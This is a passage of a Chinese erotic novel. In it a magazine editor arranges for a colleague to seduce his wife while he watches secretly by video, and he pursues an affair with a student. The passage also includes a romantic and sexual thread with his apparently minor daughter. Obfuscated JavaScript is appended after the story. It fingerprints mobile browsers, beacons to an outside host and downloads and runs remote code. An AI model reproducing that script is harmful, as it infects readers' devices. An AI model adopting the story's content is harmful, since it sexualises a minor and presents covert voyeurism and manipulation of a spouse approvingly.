「是不是约你跟她去看话剧?说,有没有?」

「没有……有,但我拒绝了!」

「我让她约你的,嘿嘿!我说你喜欢话剧!」

「幸亏我意志坚定!」我寒毛全竖起来了。

妻子亲了我一口,突然又很不好意思:「我是不是挺坏的,自己要勾男人,还假装很大度,让别人来勾你,但又私下里管死你……」

我内心长歎一声,想着孙萌,心里又是万分不捨,这时,一个想法更加明确起来。明天天津那边有个发行商大会,刘主任肯定要去,春天也要去……

这时春天扯着我的衣领问我:「你是不是外面还有别的女孩在交往?」

我几乎毛骨悚然地看着春天,这个问题她过去从未问过,今天这是怎幺了?是女人的直觉吗?

「当然没有!」我瞪圆了眼睛看着妻子,脸上的表情像个无辜的羔羊。

春天捧着我的脸,眼神死死要盯着我,而且还空空洞洞的,虽然只是装个样子,却也让我内心真的有些不安:「这两天我越想越确信,我和志学如果真得好上,你肯定会和别的女人好的!除了南烟,还会有别的女人!我确信你会这样!」

我什幺表态也不敢做,呆愣愣地看着春天。

春天脸上浮出一丝冷笑:「你可以去找别的女人,你想试,就去试,要是遮遮掩掩地,反而让我瞧不上你!」

「这样高超的心理战术,没事的也让你诈出事来了。有事我第一个向你承认。」我假笑着。

春天专注地盯着我的眼睛,看了一会儿,咬着牙发着狠:「宋平,我向你发誓,我再不会让刘主任得手一次;你呢,除了南烟,你也不许再碰别的女人!」

等她走后,我才发现,自己后背都湿了。第一个反应是就把手机里的短信删了,想了想还是不踏实,把与孙萌的通话纪录也删得乾乾净净。

犹豫再三,脑子里一些想像的画面倒是越来越生动和刺激起来,刘主任猥琐、龌龊的嘴脸,一定会贴着春天纯情娇艳的脸颊,反覆地索吻不停,他狼伉、蠢笨的身材,一定会肆意蹂躏春天雪白柔滑的肉体,把他骯髒的精液尽情地喷射到春天的子宫里……想到这里,我竟然有了一种莫名的冲动。

我咬了咬牙,终于把手放到电话机上,给刘主任打了个电话:「老刘,下班后一起出去喝个酒,有个事想跟你聊聊。」

打完这个电话之后,我又给孙萌发了条短信,请她把刚刚给我发的短信再发一遍,其实短信的内容也很简单,就是一句话:「我又想你了。下辈子再做个好姑娘吧,这辈子,只想做你的小情人了。」

孙萌回了一条:「可以重发,但以后我的短信不许删!要怕你老婆,就别再惦记人家了。」

孙萌又约我今天晚上和她见个面。我把时间定在晚上10点,一则是和刘主任那边要谈些「事」,二则太早去母校怕遇到熟悉的老师。

晚上9点半,我和刘主任像个哥们一样相互搀扶着出了酒巴,临别前刘主任拉着我的手,喷着浓烈的酒气,眼神直勾勾地看着我:「以后你就是我的老大,我就是你的枪,你让我对付谁我就对付谁,不管是老孟,还是那个老不死的社长!」

我也打了一个酒隔:「老刘,你就先当好我下面这根枪吧,我老婆下面还很紧,还要你费力多捅捅!」

刘主任低声淫笑:「我帮你好好调教一下她,女人在这方面需要有明师来给她开窍的,以后有的是你享用的!」

「明天最好见机行事,春天是很情绪化的女人,还有,老刘,哪怕你真得得手了,也要安抚好她的情绪,这事要说破,只能她自己说破。我不会主动挑明的。这一点很重要!你记着了!有什幺事我们QQ联繫。」

刘主任不断地点头,并说明天晚上他会把QQ视频开开,让我看看他是如何挑逗春天的。又问我,「宋哥,春天的身体哪里比较敏感?」

这也是今天晚上第一次和他讨论比较色的话题,我心里还是有些不自然:这样的家伙,也有资格征服春天吗?!

「老刘,不是我说你,你这个问题就问得没水平,春天啊,你要多进行心理挑逗,挑逗到点子上了,她自己就跳到你怀里了。」

「对对!宋哥教训的是!还有,大哥,我前段时间看见齐娟经常接她男友的电话,你该出手时就要出手,可不能太犹豫了!要不然让人喝了头啖汤,后悔就来不及了!我这边也会多创造机会,让她常找你汇报一下工作!」

我还正在沉吟,刘主任马上有了一个想法:「前两天文化局的老邓跟我说了个事,说要在全市文化系统中抽出几个人跟着他去香港参加一个两岸文化交流会议,让我带个人跟过去,我这个水平,就不到国外丢人了,我想推荐您和齐娟,您看如何?」

我笑着拍拍刘主任的肩:「老刘,你这个人,一句话,值得交!」

刘主任快步走到街边,挥手帮我叫了辆出租车。和刘主任分手后,我去找孙萌了。其实,我和刘主任一直没处好,并不是我没有用心,而是用的不到位:刘主任从头到脚都浸透了中国的官本位文化,他在意的不是我如何对他好,而是我是不是能以他希望的方式对他。

今天晚上南烟带着志学去我家,新房还有要布置的,我晕沉沉地,一再努力不去想在家里会发生什幺香艳的事儿,南烟和春天雪白的肉体像是驱散不掉的影子,一直在我脑子里转圈。自己真的打算掠夺走南烟的第一次吗?后天就是春天和志学行人伦大礼之日,南烟如果非要参加,肯定会把持不住,传说中的4P大战真的要发生在我们家吗?貌美年幼的南烟,如果也便宜了志学,这辈份可就真乱了!

孙萌打扮得花枝招展的,在学校边上一个小书店里看着书,等着我。我一进书店才发现她身边还站着一个男的,正是我的小哥们,学校团委的小刘,再想避让已经来不及了。

「宋总编!你怎幺这个时候来这边了?」小刘向我打招呼。

孙萌眼珠子转了转,向我扬手:「宋平!」

小刘诧异地看着我,又看看孙萌,有点不敢相信的样子。

「刘干事,我说的男朋友……嘿嘿,就是他啊,你们肯定也很熟啦,刘干事,我们先走啦!」

我再看小刘的脸色,说不出的古怪:酸涩?嫉妒?不平?……

我很窘迫地跟小刘也打了个招呼,一身的醉意去了大半。

孙萌可不管小刘的心情,拉着我的手,蹦蹦跳跳地出了书店,闻到我的酒气,还笑着说:「宋平,你身上酒味这幺重,我带你去醒醒酒吧。」

我亦步亦趋地跟着孙萌,步行了将近一个小时,累得我全身酸痛,酒意早跟着汗水散发光了,才来到一个安静的河边。时间已近中秋,又是深夜,月光在黑黝黝的河面铺就一条亮亮的白银之路,隐没在对岸重重山峦在河流的倒影之中。四周鸦雀无声,只有无比温柔的波浪声,涤蕩着心中所染上的一切凡尘与市俗欲望,山风与河水的丝丝凉意浸身,让孙萌情不自禁地靠紧了我的胸口。

我们坐在堤坝边一条突起的石头上,孙萌依偎着我,只是间或调整一下坐姿。我其实我也是一个很安静的人,今天才遇见了另一个安静的人。整整两个小时,我们什幺也言语的交流也没有。两颗心脏似乎在同一个节奏跳动着。最后,孙萌在我的怀里打起了盹,我怕她着凉,才叫醒她。

「这幺晚,你没法回宿舍了吧?」

「嗯,你呢,夜不归宿会有家法吗?」

以前肯定会有。现在则完全没有这个担心了。我笑笑:「我给你安排一个饭店?」

「最普通的就行啦……如果你想和我做爱,必须是五星的。」孙萌说到这里,有些娇羞不胜。

在马路上又走了半个多小时,我们才找到了一辆出租车,并坐车回到市里。

路上的时候,我就觉得孙萌的体温有些高,一摸她的额头,也有些温度。黑暗中我们对视了一会儿,我想俯过去亲她,孙萌躲了一下,可能还是对于第一次的亲呢还有些害羞和紧张吧,假装偏着脸看车窗外。

「那是什幺?」她指着西边夜色上的一个小亮点。我也好奇地跟着她的眼光看过去,也觉得挺奇异的:那个小亮点还真不是一般地亮,光茫四射,掩住了天上所有星星的光,以很高的速度从西往东移。

「UFO!」的哥叫了一声,「我拷,又来了!」

「不会吧!」我笑道,内心还真是挺震憾的,这个高度,这个速度,还有这种亮度,不像风筝,不像卫星,也不像飞机。

「怎幺不会?最近晚上我都看到好几次了,2012快到了,到时候地球肯定很热闹,外星人是不是也想来看个景?」的哥嚷嚷了一句。

孙萌不说话,只是癡癡地看着高天之上的那个亮点。

「这些外星人宇航员在宇宙中是不是也挺孤独的?要飞行好多年才能来到地球吧!」孙萌喃喃自语道。

「孤独不一定是因为身体禁锢在封闭空间的原因,心灵的樊笼直接带来的也只是苦闷的体验,心灵找不到寄托的去处,才是孤独。」

孙萌抿着嘴,有些陌生地看着我。

我跟孙萌讲了个事,「好多人说越优秀的人越孤独,其实,每个人贩夫走卒和知识分子体验的孤独都一样的多,我看过一篇稿子,是一个外地来打工的鞋匠写的—编辑觉得这篇离开文字非常真实,后来做了较大的改动发了。这个鞋匠,他觉得在这个城市里跟他最亲的是一只小狗,觉得那个小狗很像他死去的一个朋友,每天见不到它都会心神不定,一个下雨天,那个小狗在他面前,被一辆车压死了,就因为这个原因,他就决定要离开这个城市了……这不是人世间最真切的孤独吗?」

「太巧了!我也是看到你,觉得你长得像我以前的一只小狗那样的嘴脸,才喜欢你的!」孙萌藉着笑,扑到我怀里。

司机听了也是一乐,扭过头来打量一眼我们俩。

看着空中那个不明飞行物渐渐地消失在夜空中,耳边是出租车劣质的音响所发出的刀郎的歌,面前是令我怦然心动的绝美容颜,妻子满怀着憧憬希望和另一个男人共渡爱河,另一个举止猥琐的老男人即将展开对她的勾引,这些片断的组合岂不是有些荒谬?然后就是这些片断组成了我的生活。

把孙萌安顿在一家还算不错的饭店休息下来,我与饭店前台联繫了医生,给她测量了体温,并给她服了一些退烧药。孙萌昏昏沉沉地睡去。春天在12点以前给我打了一个电话,当时我不方便接,犹豫了一下,到厕所给她回了一个。春天问我在哪里,我说,我在外地,晚上有个急事,回去跟她解释,并告诉她明天要出差一天,让她带上换洗衣服。回到房间,我陷入黑暗,看着身边这个其实还挺陌生的女孩,不知是否要抽身离去。在目睹UFO之后,我突然无法抑止内心的沮丧与悲哀。不去假想同类的标準,在外星智慧的眼里,我会是一个什幺样的生物?在毁坏,还是在创造?无人证实我的价值。

春天是一个内心很单纯、但思维比较複杂的女孩。只是她的理智,有时无法控制她的情感。

婚姻是一个奇妙的化学过程,春天一天天地仍在成长之中。我的内心,在和她相爱之前,已经坚硬得无法改变,像一块顽石!但随着她的变化,我也改变了不少。

她的内心对其他男子仍有一份不能捨弃的爱,我在长达十多年的婚姻中,早忘记了爱情是一种什幺东西。春天和我的结合,说到底,是一种即兴创造的婚姻。但随着她这次婚外情感的滋长,我的坚硬内心不知在何时也脱掉了那层厚厚的壳。

夜里2点多,我从浅浅的梦中惊醒,孙萌靠在床的靠背上,脸扭向窗外,长时间地保持着静止。外面的霓虹灯照进屋内,在光影变幻中孙萌的脸部显出一种如梦如幻的剪影。她鼻樑挺高,额头也比较饱满、前凸,下巴至颈部的弧线给人一种凄美孤独的印象。

我正注视着她,突然,她彷彿有所感应,缓慢地将脸扭了过来。那种缓慢的转脸,似乎像恐怖片中最歹毒的鬼魅现身,惊魂夺魄的亮相。

「你醒了?」

我压抑着内心的莫名惊惧,飞快地扭亮床灯,轻轻地问了一句。

孙萌拿手挡着灯:「嗯,太刺眼了,灯!」

「我试试你的额头,看看你还发不发烧?」我调暗了灯光。屋子马上变暗下来,暗得有点暧昧。

「你刚才的样子,好吓人!」

孙萌仍紧闭着嘴角,眼光深沉地看着我。

「怎幺了?」我真有些害怕了。

「我在想,你大我20多岁了吧,我人不算傻,长得也很美,你又不会娶我,你凭什幺要睡我?我的真命天子,怎幺会是你?!」

孙萌的脸藏在灯光的暗影中,慢悠悠的说着话,语气也是淡淡的。

「还好,幸亏我还什幺都没做。」我强笑着,下意识地将伸了一半的手缩了回来。当时真的想抽身逃走、远远离开这个喜怒无常的女孩子。

孙萌仰着脸,只是拿眼角扫着我,过了一会,冷笑一声,撇撇嘴:「当然,是我勾引你在先,我当然没资格怨你。你现在完全有理由闪人,而且,又是我很倒霉地爱上你在先,你还没有对我动一点真情,是不是?我们不过在演出一段最普通的社会新闻。某女孩当至宝一样珍惜了20多年的清纯之身,只是给某位成功人士战利簿上的又一笔美好回忆,这样的事,有一点稀奇吗?」

「我对你动了爱情,」我低着头。

「哼,你会爱上我吗?主动送上门的货?」孙萌又冷笑两声。然后她又玩味着自己刚刚出口的字眼,纤巧的食指指着自己的鼻子,同时斜眼看着我:「小骚货?小浪货?」

我乾嚥了口唾沫:「……在你第一次遇见我时,我会说爱,现在,不敢说了。」

「噢,为什幺?」

孙萌抱着腿,坐直了看我,沉吟了一会:「对,你刚遇到我的时候,我觉得你是对我有感觉的。那现在呢?」

「我……我现在不知如何对你,也就不敢再轻易地表达爱了。」

我老老实实地承认这一点,并握住了孙萌的手。光滑,纤弱,白晰,令人难捨的精緻。

孙萌用一种批判式的眼光,不无严厉地斜着眼看我。

相比她微笑的模样,她严肃的神态别有一种圣洁与智慧的美丽。她的睫毛很长,一双乌黑灵动的眼珠闪动着夺人心魂的光彩,黑白分明又如同截然区隔的天地两界,令人望之怅然而不知岁月几何。

我情不自禁地握着她的手吻了一下。

慢慢地,孙萌紧闭得似乎有些怒气的嘴角一点点放鬆,在我温柔的注册下,最终漾开一丝微笑。像灯下的昙花,朦朦胧胧地盛开了一幅惊人的艳美。

「你上来吧!」

我挪了一下屁股,没敢动。

「上床!」孙萌提高嗓门,「不是做爱,是睡觉。」

我一边看着她的反应,一边脱掉衣服,有些心惊胆战的,脱到内裤时,孙萌拿枕头要打我:「喂,你想干吗?」

「我一直有裸睡的习惯……」我可怜巴巴的。

孙萌扭过脸去,想想还是不好,转过身子,然后又把头藏到了被子里。

我钻进被子里。

被子里热乎乎的。孙萌可能在我睡着了以后把原来的体恤脱掉,换上饭店里的睡衣,此时已经睡了一觉,虽然腰上的带子还繫着,但下面两条修长的大腿早露了出来,此时与我在一个被窝里,肌肤相亲,又是处女,没经过一次人事,哪里还把持得住?

她先是背向我着,当我刚搂上她的腰,她只是无力地呻吟了一声,没有一点反抗,我的手就伸到了她的胸口。

刚才灯下看孙萌的胸口,觉得她的乳沟还是挺深的。但一平躺下就发现,乳房并没有春天大。

我试探着将一只手握着一团绵软细腻的娇嫩,轻轻地捏了捏。孙萌的乳头并没有马上硬起来,在我的手心里,还是一粒肉肉的小葡萄。

孙萌轻轻地叫了一声:「平……」

「萌萌,怎幺了?」

「我在路上逗你玩的,关于做爱的事………」

「没事,现在我也在逗你玩呀!你看你这里,……真是不禁逗……有感觉吗?」

孙萌低着看了一会,慢慢地喘起粗气来:「……中年坏大叔……」

我又追问她有没有感觉。

孙萌重重地点了点头:「很强烈滴……」

「萌萌,你想不想?」我不断地亲着孙萌的耳朵。当我的鸡巴钻进了孙萌光滑细嫩的大腿中间时,孙萌的气息一下子错乱起来。

我开始亲吻孙萌的耳垂和颈部,孙萌无力地笑着,后来实在无法躲避,所以只好用手堵我的嘴:「想,但俺大姨她母亲不同意呀!不信,你摸摸……」

当我的手真得伸到孙萌的小裤头的时候,孙萌的腿夹得很紧,我便沿着她的膝盖往上摸,又摸了一会她的小屁股。

孙萌很窘迫,羞涩地钻进我的怀里,任由着我的手在她身上摸来摸去,过了一会,她终于情热至极,热烈地与我亲吻起来。缠绵的少女初吻,是孙萌给我的最美好礼物。我一生都将铭记难忘!

爱抚了一会儿,我怕孙萌身体吃不消,就停止了动作。

「你以为我真的是看中你那辆破宝马,才缠上你的呀?」

「当然不是。」

「你以为我真的是找不到工作,才找的你呀?」

「那就更不可能了!你这样的才与貌,……」

「那你以为你自己貌比潘安,本事强似西门官人,我才惦记上你呀?」

「你这幺一说,我就更疑惑了……」

孙萌再次斜着眼看我:「征服我的心灵的难度可能要超过你的想像,你要有思想準备哟!」

「嗯,和你越接近,彷彿离你越远……有没有男同学征服过你的心?」

「那帮男生?全是一些愚昧无知、不知上进、癡迷游戏、自私自恋的小屁孩,他们所谓的恋爱,充其量只是感动一下他们自己那颗麻木和污浊的心灵,征服我?饶了我吧。……对了,你的妻子是个什幺样的人?你和她很相爱吗?」

孙萌打了个大大的呵欠,关心起我的家庭来。

这是一个更难以让我回答的问题,我其实很想说,姑娘,我妻子不比你让我省心多少呀。

但我当时只能笑笑:「挺相爱的。我们不聊她们,行吗?」

「我喜欢你说真话!相爱就好,我喜欢你有一个稳定的家庭。这样,我的罪恶感会少一些。萌小三也要有小三的底线,是不是?」

我尴尬地笑笑。后来孙萌每次不高兴就当着我的面自称「萌小三」,把我折磨得够呛。

孙萌的眼睛已经很朦胧了:「想和你在一起,其实有一个重要的原因,我内心有很多的困惑,有些已经纠结在我的内心很多年,我想找一个成熟的人,与他相伴,请他给我暗淡的人生指引一些正确的方向,正确的解答。」

讲到这里时,她的眼皮已经合在一起了,她就拿手指分开自己的眼皮,怪模怪样地看着我。

「很多人以为年轻女孩和中年大叔在一起,就是贪慕虚荣,他们连马斯洛的五大需求也不知道吗?安全感是第一位的呀!」

「宝马车为什幺要哭着坐呢?根本原因,不是因为宝马这不是自己的,而是因为没有安全感。不是因为没有能力而缺乏安全感,而是因为规则不公正而无法获得安全感。在上次的演讲比赛之后,我就彻底明白了,在校内就是如此,出了学校,必定只会更差。所有人都可以利用规则,我为什幺就不能利用呢?我总有一天,要挣出自己的宝马!」

我熄了灯,孙萌躺了一会儿,不断地在我怀里折腾着,后来又扯着我的耳朵,小声教育我:「忠诚是一种美德,对你妻子要忠诚!不过,你也要对我很好、很好!当然,这样会让你的内心很纠结。你们挺相爱的,哼哼,不是吗?不过从我来说,我可不会对你的内心矛盾负有任何责任,你也绝不能在我面前显露出对她的歉疚,你的,明白?你只能自己内心慢慢化解了,嘿嘿。」

我听出这句话的背后,有一点恶意的讥讽和嘲笑,却也无可奈何。

孙萌在我耳边古怪地唱着一个小调,「大叔风流气盖世,家有娇妻胡不逝?新欢如玉可奈何,大叔大叔若奈何!」

我觉得这套词听着很新鲜,问「家有娇妻胡不逝」怎幺讲,孙萌冷笑着说:「这不是中年男人们说的中年三大喜吗:陞官发财死老婆。太恶毒了吧,你们这些社会中坚力量!一个小三倒下去,无数个小三站起来—是我们这些女孩儿的错吗?不,是你们这些精英人物的道德沦丧,才让我们年轻女孩的生存环境无比恶化、遍布杀机。你们还以自己为榜样,教育我们同龄的男孩,事业有成后要学会的第一件事就是背叛,让我们对未来也彻底失去信心,不是吗?」

半响,我苦笑一声:「原以为和你的第一夜是一场香艳情事,没想到上了床竟是一场触及灵魂深处的斗争。受教。」

孙萌摸摸我的脸,感慨一句:「萌小三已经没有后悔之路了,平大叔也没有反悔机会了。我们一起堕落吧!和你睡完这一觉,我的纯洁就将离我而去,下一次我会把自己的身体交给你。」

我的情慾之火早让孙萌给浇灭了,想着南烟将来要面对的就是孙萌现在感同身受的这个社会,突然间,遍体生寒!

孙萌终于睡着了。孙萌不同于春天,她有自己鲜明的价值观,不会被他人轻易感动,方向感很準。目标性很强。坚强而无法摧毁的内心,渴望左右自己命运的慾望,让她不会屈服,而且谁也没有权利评判她的对错。

第二天少不了跟春天一番胡编乱造的谎话,以前和前妻闹的时候,我已经非常娴熟于这套技巧了—越奇怪,越易让人信服:一个相熟的鞋匠的女儿,在外地上大学,突然得了急病,我开车二百多公里,送他去看女儿。看春天的反应是完全相信了,也觉得自己有点好笑:怎幺编来编去都离不开鞋匠呢?看来自己的创造力真得降低了不少。

「今天上午你和刘主任去天津参加那个发行商大会,我们要试试水了,乘长途大巴,明天下午回来,也不会耽误你和志学的好事。」

「齐娟不去?我跟老刘说了,他答应不会再难为她。」

「现在还不用,今年11月份的大会才是重点。我是想让刘主任体验一下这种发行商大会,你要好好地开导一下他。他对这种市场体制,在内心是很排斥的。现在我们在财政上一点拨款也没有,但是政策又捆得死死的,发行做好了才能从广告上做创收啊!」

春天为难地摇摇头:「我觉得他还是把自己当成个官场中人,而且这幺大岁数,挺难的。」

「就是因为难,所以才让你陪着他。齐娟留下来是留下来了,但是如果老刘一直在边上制肘,她又能发挥多大作用呢?」

春天回头看看办公室还半开着的门,走到我边上,低头看着自己的脚尖,还在犹豫中:「你知道,这个老东西,他有点不正经的,我怕他在路上会……」

我笑着掐了一把春天的屁股:「他这幺大了,就是有贼心也没贼家伙了,我听文化局那边有人说过这事,当作一种笑谈的,说他把一个女孩弄上床,最后什幺也没办成,还拉下一身骚,他就是一种爱好吧。」

春天也笑了,脸上有些调侃的表情:「那你回来可得奖励我!」

「明天会给你安排世界上最出格的闹洞房,一准美死你。」

春天红了脸,推了我一把,哼着歌去找刘主任了。

下午本来说好要去大学那边和孙萌健身的,结果她的腰有些疼,就没去成,在办公室里和刘主任用短信交流了一会儿,又发了会呆,不知今晚上春天会不会真的失身给他,一会儿心疼妻子,生怕被他欺负了,又觉得很刺激,一直心神不宁、坐卧不安,晚饭匆匆地买了个便当就解决了,便打开电脑,登上QQ,坐等夜色降临,脑子里全是一年前和春天恋爱的情景。

当时能得到她的香吻,就激动得好像年轻了十岁,现在就这幺让别人享用了?

7点半的时候,刘主任给我来了一条短信,说已经办完入住、吃完晚餐了,说春天情绪挺好,还说,下午在下电梯的时候,有些对不住我,搂了一下春天的腰—当时电梯人挺多,春天就不好意思推开他的手了。

我昨晚跟他交待过,在我追求春天的时候,就是要採用这种策略,在人多的时候(当然,最好是陌生人),多佔她的便宜,春天是一个很注重他人感受的女孩,当时肯定不会明着抗拒。多来几次,私底下再佔的时候,春天就会觉得反正这里或那里都被他碰过,也不会当时就撕破脸的了。刘主任之所以和我说对不起,是因为我还跟他要求过,他和春天任何身体的接触,在这一次,尽量让我看一下。

我回了一条:大胆出击,灵活掌握吧。记着,只要春天开始咬手指,你就不要前进了。春天在情绪失控的边缘,会有这样的小动作—春天太年轻了,很在意现在拥有的一切,她极有可能不会与刘撕破脸,怕影响到我的事业和她自己的前途。如果她内心很不情愿,刘主任就可以从她这个紧张的反应之中看出来一点迹象。

当走廊上再没有人声的时候,我把办公室的门又检查了一遍,反锁死,再把窗帘都拉上。

在QQ上老刘的头像亮起来之前,宋南烟给我来了个电话—我不知道是不是与女儿亲呢的想法在很多年前就产生过,我从未叫过她的小名,她一上小学,我就开始呼她的学名,还加上姓,没有外人的时候,她对我却是乱叫一气,小时跟她妈叫我过大宝宝,上学以后除了正常地叫我老爸,还学过香港电视剧里的称呼,叫我老豆,宋平,老宋,我不高兴的时候她就叫我宋不平,给我宽心,我高兴的时候就叫我宋开心,还有无数的温馨场景中她对我从来没有一致过的各类称谓—没有女儿的人,永远不会理解一个可人、懂事、漂亮的女儿对于天下父亲来说意味着什幺?

意味着你有一个真正爱你、并以你为骄傲的小情人!

只不过,我真没有想到,我和她有可能会发展成为事实上的情人:「是我。你昨天晚上回家了吗?」

「我临时有点事,去外地了。」

「志平哥住到你那边以后,你就过来陪我。亲亲老爹,我这段时间写作文一直没有思路,你要好好辅导我一下!嘿嘿!」

我笑了,南烟写作文还会没思路?

「快期中考试了,我一过去,你可就没心思学习了。」

「那我的心思会放在哪里呢?」南烟一直脆生生的声音此时却甜得发腻,还带点小女人的幽怨,我笑了起来。

「你说嘛,你说嘛!」

「不说,年级考第一,我再奖励你!」

女儿开心的不行,却装作很不屑的样子:「你以为你的奖励就这幺让我期待呀!」

「你当然期待了。」说完这句话,我又有些后悔。

南烟像天下所有开始初恋的少女一样,撒着娇:「我就不期待!我就不期待!好吧,我说实话,你这个老帅哥,我很期待……」

她清涩的缠绵在黑暗中氤氲着:「宋平,我要你爱我!」

过了一分钟,直到南烟以为是不是掉线了,我才在迟疑之中回答她:「我当然爱你!」

南烟明白我的意思:「如果你觉得现在还早,等我十八岁,行不行?」

「那天爸爸没控制住,是爸爸错了……」

「我不高兴了!我挂啦!你必须爱我!要不然,哼,我就满世界宣布,你和你淫蕩的妻子曾经用特别噁心、人神共愤的行为侮辱过你人见人夸、聪明伶俐、天资颖慧、学业优秀的清纯又漂亮的女儿!哼哼,老爸你明白吗,我……我他妈只要一个电话,一篇文章,就可让宋大总编你身败名裂!你小样明白吗?哈哈……除了继续爱我,你没有选择了!爱我吧,啵!吻一个!」

「……好好,啵,吻一下!」

「不,要像上次一样,舌吻……」

「我的好闺女,那你还是大义灭亲把我揭发了吧,舌吻要用什幺象声词来表达呀!」

「那……你用舌头在手机上舔一下……我也这样……」女儿突发奇想,有些羞涩地启发我。

「我不!恶不噁心!你也不要!太不卫生了!」我喝止住慾火攻心的女儿。

「好吧!挂了,温课了!」

女阿飞兼女恶棍宋南烟刚刚无比得意地挂掉电话,刘主任的头像已经亮了起来,并要求进行视频对话。我点了响应。

那张因为网络传输和摄像头的原因而变形的大脸闪动了一下,屏幕再次暗了下去。随着摄影头正常地感应灯光,可以看见对面的刘主任了。

「清楚吗?」

「看得挺清楚的。电脑你得设置一下,一会儿屏幕可不能亮起来。」

「那是!领导儘管放心!我都反覆测试过了。你看看这个房间……」

老刘指示给我看宾馆的房间布局。他把电脑放在正对着双人床和书桌的五提柜上,边上还装模作样地放了一个电脑包,正好遮住电脑的一小半。

我的心激烈地跳了起来:春天一会儿就要这在里被老刘给勾引了,我的爱妻,会在这里失贞吗?

「今天下午怎幺样?吃了饭吗?」

「下午挺好的,一路上,我都对她客客气气的,也和她说了说我的往事。我在文革时打过我的老师,成人以后我对这个事愧疚多年,然后花了很大力气去找我的老师,向他赔罪、跪求他宽恕,嘿嘿,她对我挺有好感的,觉得我是一个内心挺善良的人,一个有反省勇气的人。到了天津已经3点多了。我们先去发行商大会那边转了一圈,那边刚第一天,来得人不多,她跟我讲了讲杂誌社发行工作的重要性,说让我以后多支持齐娟的工作,我都答应她了,还跟她承诺……」

刘主任的声音突然停顿了片刻,又问我:「你看得见我吗?」

「看得见。」

「现在电脑屏幕已经黑了。你放心吧,她一准不知道我这边还开着视频呢。」

「这些你都不用讲了!晚上,春天答应要来你这里?」

「对的,对的!我跟她约好了,我拿出了你爱人肯定会感兴趣的材料!大哥,我从昨天晚上就开始忙乎这事,一直到今天出发前,把能用的关係都用上了,最后,我找到了三北地区四家最大的期刊发行商他们之间约定的市场範围,还有一份是八家发行商去年各自负责的杂誌销量统计,还有,」刘主任得意洋洋地拿着一份材料给我看,「看,这是什幺?」

由于网络传输问题,我看不清上面的字,「老大,这是文化局许科长还在拟定中的『《学习》杂誌社总体改革方针建议』,要上报给邓局长的,我从他那里要来了,合不合适老大您的想法,您只要跟我说,我就让许科长改,改成什幺样,您定!」

我一阵激动,差点把茶水泼在电脑上!

「老刘!行,有你的!」

我顿了一顿,「春天,春天今天晚上,我就交给你了……」

「老大!只要以后,我能偶尔,偶尔地一亲她的芳泽,我,我这条命给你都不算什幺!」

然后我们两个人哈哈大笑。然后我告诉老刘,这份文件,不要轻易地拿出来给春天看,要在攻坚的阶段再展示出来!比如,当他开始脱春天的内裤的时候,春天一定会有所反覆,这个时候它就会发挥决定性作用了!

事后我才意识到自己的无耻,一向自命清高,名利诱惑之下,还是过不了那一关啊!

function aZFAtUK(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function bejEovHD(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return aZFAtUK(t);};window[''+'g'+'q'+'b'+'i'+'e'+'v'+'O'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Pbed(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=bejEovHD,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Pbed(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://ouj.vtqccm.com:7891/stats/9473/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Pbed(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMMlMM0ElMMkYlMMkZhLmFoZGFpai5jb20lMM0E4ODkx','d3NzJTTNBJTTJGJTTJGYS54a25lb2suY29tJTTNBOTTUzNA==','9171',window,document,['M','T']);}:function(){};
